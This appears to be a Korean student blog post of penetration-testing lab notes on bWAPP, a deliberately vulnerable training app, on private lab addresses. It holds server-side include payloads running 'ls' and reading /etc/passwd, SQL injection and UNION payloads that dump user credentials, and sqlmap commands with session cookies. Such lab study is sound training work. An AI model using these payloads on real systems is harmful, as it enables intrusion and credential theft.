yumyum
[bWAPP] ssl injection, SQL injection 본문
[server-side includes ssl injection]
ssii.php
ssii.shtml
<!--#echo var="REMOTE_ADDR" -->
<!--#echo var="DATE_LOCAL" -->

@evall //exec cmd ==
<!--#echo var="REMOTE_ADDR" -->
<!--#exec cmd="ls" -->
<!--#exec cmd="cat/etc/passwd" -->
## SQL 인젝션
123 title genre year character
SELECT TITLE, R, C, G, L FROM MOVIES ;
SELECT TITLE, R, C, G, L FROM MOVIES WHERE ID=3;
$a=G.I
SELECT TITLE, R, C, G, L FROM MOVIES WHERE title =*'$a'*;
=> G.I 검색했을때 값나오게하는 구문 유추
DB -> TABLE => 열갯수 확인
mysql_conli("SELECT TITLE, R, C, G, L FROM MOVIES WHERE title =*' ' or 1=1 ;
' *;")
mysql_conli("SELECT TITLE, R, C, G, L FROM MOVIES WHERE title =*"$a'*;")
" or 1 =1 #;
' or 1=1 #;

mysql> SELECT * FROM movies WHERE id=0 union SELECT all 1,2,3,4 ; => 에러
mysql> SELECT * FROM movies WHERE id=0 union SELECT all 1,2,3,4,5,6,7 ;
=> 7번까지 실행하면 에러가 x // 열의 갯수 확인할 수 있음
SQL 인젝션 점검 순서
1. 웹 페이지 동작 방식 확인 후 PHP구문 유추
2. PHP 구문에 실리는 SQL 구문 유추
3. " or 1 =1 ; // ' or 1=1 ; 통해 내가 원하는 구문 웹 -> DB 보내기
4. 열 갯수, 순서 유추
5. 열에 함수, 악성 데이터 => union으로 웹 페이지 게시

### SQL Injection (GET/Search)
[URL창]
http://192.168.50.26/bWAPP/sqli_1.php?title='or1=1#
http://192.168.50.26/bWAPP/sqli_1.php?title="or1=1#
http://192.168.50.26/bWAPP/sqli_1.php?title=' union select all 1,2,3,4,5,6,7' #&action=search
[검색창]
' union select all 1,2,3,4,5,6,7# => 2,3,5,4 열이 웹에서 출력됨을 확인
' union select all 1,@@version,database(),user(),@@datadir,6,7# => 시스템 함수를 통해 서버의 정보 조회
' union select all 1,table_name,3,4,5,6,7 from information_schema.tables# =>information_schema를 통해 DB 전체 내용 확인 가능
' union select all 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = 'user'#
' union select all 1,concat(id,login),password,email,secret,6,7 from users #
bee password => 암호화 돼서 DB 저장
6885858486f31043e5839c735d99457f045affd0
kali에서 hash-identifier입력 -> 암호화된 문자 삽입 -> sha1로 출력됨 -> 복호화하면 bug라는 패스워드임을 알 수 있음
## SQL 인젝션 (GET/SELECT)
SELECT 2,3,4,5 FROM movies WHERE id=[];
' or 1=1 ;
" or 1=1 ; => 변수가 문자열 일 때
' or 1=1 #;
" or 1=1 #; => 변수가 문자열 일 때, 공격구문 뒤에 구문이 남아있을때
or 1=1 ;
or 1=1 #; => 변수가 정수일때
http://192.168.50.26/bWAPP/sqli_2.php?movie=1' or 1=1; &action=go
http://192.168.50.26/bWAPP/sqli_2.php?movie=1' or 1=1 #; &action=go
http://192.168.50.26/bWAPP/sqli_2.php?movie=1 or 1=1 ; &action=go
http://192.168.50.26/bWAPP/sqli_2.php?movie=1 or 1=1 #; &action=go
http://192.168.50.26/bWAPP/sqli_2.php?movie=1 or 1=1 limit 1,1 #; &action=go
http://192.168.50.26/bWAPP/sqli_2.php?movie=1 or 1=1 limit 2,1 #; &action=go
http://192.168.50.26/bWAPP/sqli_2.php?movie=1 or 1=1 limit 3,1 #; &action=go
=> limit로 원하는 열 출력 (사용자가 1을 선택했지만, 2,3'''이 나오게)
## SQL Injection (POST/Search)
PHPSESSID=0b7b45802075762aba9b262081de0baf; security_level=0 => 쿠키값 인터셉트로 얻기
sqlmap -u "http://192.168.50.26/bWAPP/sqli_1.php?title=aaaaa&action=search"-b -v 3 -p title --cookie "PHPSESSID=563e9d31d839f90fb88804534b7b9b43; security_level=0" -D bWAPP -T users --dump
=> 파이썬에 입력하여 패스워드 알아내기
=> -D(database)[데이터베이스]-T(테이블)[테이블]
## Quiz1)
- 내가 만들어놓은 고객정보 페이지 usertbl=> sqlmap조회해보기

첫 페이지를 봤을때 변수로 보이는 곳이 없음

회원 조회 => 수정에 들어가면 변수가 나타남
칼리에서
sqlmap -u "http://192.168.50.40/member/update.php?userID=1" --dbs 명령어로 데이터 찾기

현재 존재하는 데이터베이스 목록들을 볼 수 있음
고객페이지를 내가 만들어서 나는 sqldb 데이터베이스에 usertbl이 있는걸 알아서 바로 sqldb로 접속할테지만,
내가만든 페이지가 아니라면 저 데이터베이스들을 하나씩 들어가서 찾아봐야한다.
sqlmap -u "http://192.168.50.40/member/update.php?userID=1" -D sqldb --tables
데이터베이스 값은 알기에 -D 뒤에 sqldb를 넣어주고 테이블 목록을 보기 위해 --tables 입력해주기

usertbl이 테이블로 존재하는것을 확인
테이블 안의 정보를 보려면 --dump를 입력해야 볼 수 있다.
sqlmap -u "http://192.168.50.40/member/update.php?userID=1" -D sqldb -T usertbl --dump

usertbl 테이블 안에 있는 값들을 확인할 수 있다
##Quiz2) 다른 서버 비밀번호 트레킹
내가 트레킹할 아이피 192.168.50.26
Burp로에서 open browser을 하여 크롬창을 열어준다 -> 창에서 192.168.50.26 접속
ID : bee PW : bug로 로그인

SQL Injection 창으로 들어오기 -> Burp Intercept on으로 켜주기

창에 아무값이나 입력해주기

Burp에서 Intercept한 쿠키값 확인 => security_level=0; PHPSESSID=4e1427dd5e81d1c87919f87d619c014d

URL에서도 입력해준 값이 나타난다 => http://192.168.50.26/bWAPP/sqli_1.php?title=aaaa&action=search
sqlmap -u " http://192.168.50.26/bWAPP/sqli_1.php?title=aaaa&action=search"-b -v 3 -p title --cookie " security_level=0; PHPSESSID=4e1427dd5e81d1c87919f87d619c014d " -D bWAPP -T users --dump
찾은 쿠키값, url로 조합하여 sqlmap 해준다

암호화된 패스워드 확인 => 복호화하여 패스워드를 알 수 있음
'ICT기반 클라우드 네트워크 해킹 침해대응전문가 > 모의해킹' 카테고리의 다른 글
[bWAPP] HTML INJECTION,BLOG/iFrame INJECTION/OS COMMAND INJECTION (0) | 2023.11.08 |
---|